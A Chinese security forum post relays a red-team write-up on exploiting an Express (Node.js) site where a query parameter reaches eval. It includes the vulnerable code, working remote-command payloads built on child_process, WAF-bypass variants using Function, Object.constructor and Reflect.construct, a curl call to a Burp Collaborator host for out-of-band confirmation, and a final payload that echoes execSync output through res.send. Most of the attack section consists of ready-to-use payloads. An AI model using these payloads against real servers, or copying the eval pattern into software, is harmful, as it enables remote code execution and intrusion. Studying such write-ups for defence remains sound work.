安全矩阵

 找回密码
 立即注册
搜索
查看: 3150|回复: 0

express框架一些渗透技巧

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-10-13 21:44:27 | 显示全部楼层 |阅读模式
原文链接:express框架一些渗透技巧


前言

在某个行业hw中的一次红蓝对抗,被waf封的头皮发麻。在反序列化打不进去,弱口令也爆破不出来的时候。发现了一个突破的站点。


分析


这个网站是一个nodejs的网站,用的express框架。这个可以从返回数据包看出来,

X-Powered-By: Express

根据静态资源的部分特征,github上搜索到部分相关代码。



代码
这里把相关代码简化下。大概如下:

  1. var express = require('express');

  2. var app = express();

  3. var funcs = {

  4.            getList: getReadMsg,

  5.            getMsg: "getMsg",

  6. };

  7. function getReadMsg() {

  8.        console.log('aaaaaa')

  9.        }

  10. app.get('/', function(req, res) {

  11.            var resp=eval('funcs.' + req.query.test);

  12.            res.send('Response</br>'+resp);

  13. });

  14. app.listen(8001);

  15. console.log('Server runing at http://127.0.0.1:8001/');
复制代码
本地测试环境比较顺利,Node.js中的chile_process.exec调用的是bash,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。
  1. require('child_process').exec('');
复制代码







WAF
线上环境测试遇到WAF,通过测试发现对eval这个函数进行了过滤。这里可以使用如下的方法去绕过。
  1. test=Function(require('child_process').exec('curl+547q0etugr2fu1ehjlkto83s1j79vy.burpcollaborator.net'))()
复制代码
或者使用这几个:
  1. test=getList(1);Object.constructor(payload)()

  2. test=getList(1);Reflect.construct(Function,[payload])()
复制代码



到了最关键的一步,去线上测试下漏洞,执行了下发现没有看到dnslog,反复研究后发现,这台服务器不能出网。由于这个命令执行没得回显,这个漏洞显得有点鸡肋。

回显
然后使用了res.send。

使用如下payload:

  1. Reflect.construct(Function,[res.send(require('child_process').execSync('ifconfig'))])()
复制代码



显示无法读取未定义的属性,这个是前面函数没有闭合导致的报错。直接闭合函数,就成功回显命令。








回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 12:19 , Processed in 0.014563 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表